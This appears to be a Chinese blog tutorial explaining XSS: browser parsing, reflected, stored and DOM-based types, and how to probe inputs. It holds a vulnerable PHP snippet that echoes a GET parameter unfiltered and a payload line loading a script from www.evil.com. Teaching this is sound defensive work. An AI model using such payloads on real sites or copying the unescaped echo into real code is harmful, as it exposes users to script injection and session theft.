什么是XSS

张开发
2026/4/26 14:30:23 15 分钟阅读

分享文章

什么是XSS
文章目录前言1. 前端知识2. 什么是XSS3. 漏洞挖掘4. 参考前言之前对XSS的理解就是停留在弹窗认为XSS这种漏洞真的是漏洞吗安全学习了蛮久了也应该对XSS有更进一步的认识了。1. 前端知识现代浏览器是一个高度复杂的软件系统由多个核心组件协同工作旨在高效、安全地呈现网页内容并执行交互逻辑。对一般用户来讲其主要功能就是向服务器发出请求在窗口中展示用户所选择的网络资源。这里所说的资源一般是HTML文档也可以是PDF、图片等其他类型。资源的位置由用户使用URI指定。说白了浏览器这个软件可以通过网络下载资源并展示主要是一种叫HTML格式文本文档。我们来看一个网页文档!DOCTYPEhtmlhtmllangenheadmetacharsetUTF-8metanameviewportcontentwidthdevice-width, initial-scale1.0titleHTML文档/title/headbodypidp1The current date and time is:scripttypetext/javascriptdocument.write(scriptalert(1)\/script)document.getElementById(p1).innerHTMLnewDate()/script/p/body/html浏览器的渲染引擎中的核心模块HTML解析器会逐行解析这个HTML文本文件输出内容遇到script/script这个标签时会将其内的文本交给JavaScript引擎解释执行。如果用户提交的输入数据被解析为Js代码指令即产生XSS漏洞。2. 什么是XSS我们从它的名字开始Cross-site Scripting这个scripting带ing应该理解为一个动名词“脚本执行”的意思全部翻译过来就是跨站点的脚本执行。顾名思义就是第三方站点的恶意的脚本执行重点应该是放在scripting-脚本执行上而不是cross-site -- 跨站上。“跨站”是因为绝大多数XSS攻击都是加载远程/第三方域上的脚本因为很多时候输入的内容都是有长度限制的。真正的XSS攻击scriptalert(1)/script弹窗毫无意义所以攻击代码会比较长一般会注入类似下面这样的代码来引入第三方遇上的脚本资源script srchttp://www.evil.com/xss.js/script脚本执行才是我们根本想要的东西将我们的“恶意脚本”放在在目标用户的浏览器上执行上代码xss.php$selectChar$_GET[key];//接收前端提交的数据/* 可能是数据库查询又或者是其他业务逻辑 */echo$selectChar;//将来自前端的数据写入响应最常见的一个场景搜索框返回搜索结果的时候通常会显示“xxxx的搜索结果”如果提交的攻击字符串后端接收后不经过滤直接返回前端浏览器将该字符串解析为JavaScript代码执行即产生了XSS。提取用户提交的输入并将其插入到服务器响应的HTML代码中是XSS漏洞的一个显著特征。如果应用程序没有实施任何过滤或净化措施那么它很容易受到攻击。我们用一些Web应用常见的功能点/典型的应用场景来区分XSS的类型反射型XSS搜索框就是一个典型的反射型XSS用户提交的输入经后端直接返回造成Js代码执行。存储型XSS留言板/评论区用户提交的输入是存储在服务器不管是内存、数据库还是文件系统其他用户请求页面时留言/评论也会一起加载造成Js代码执行DOM型XSSDOM型XSS不需要服务器解析响应的直接参与由DOMDocument Object Model解析渲染造成Js代码执行。DOM是一套API规范浏览器实现并提供了DOM API 供网页开发者操作HTML文档。通俗地讲DOM就是浏览器内置给Js引擎的对象允许我们对HTML文件中的标签进行增删改查。浏览器通过document对象获取URL中的数据直接解析为JS代码执行不需要服务器的参与就是DOM型XSS。3. 漏洞挖掘在每个输入点提交一个良性字符串监控字符串在响应/页面“中的是否出现及其出现的位置对于每个响应确定显示数据时的上下文针对语法上下文尝试引入Js脚本4. 参考[1] https://web.dev/howbrowserswork/#The_browser_main_functionality[2] 《Web前端黑客技术揭秘》[3] 《黑客攻防技术宝典 Web实战篇》[4] 小迪安全v2023[5] deepseek

更多文章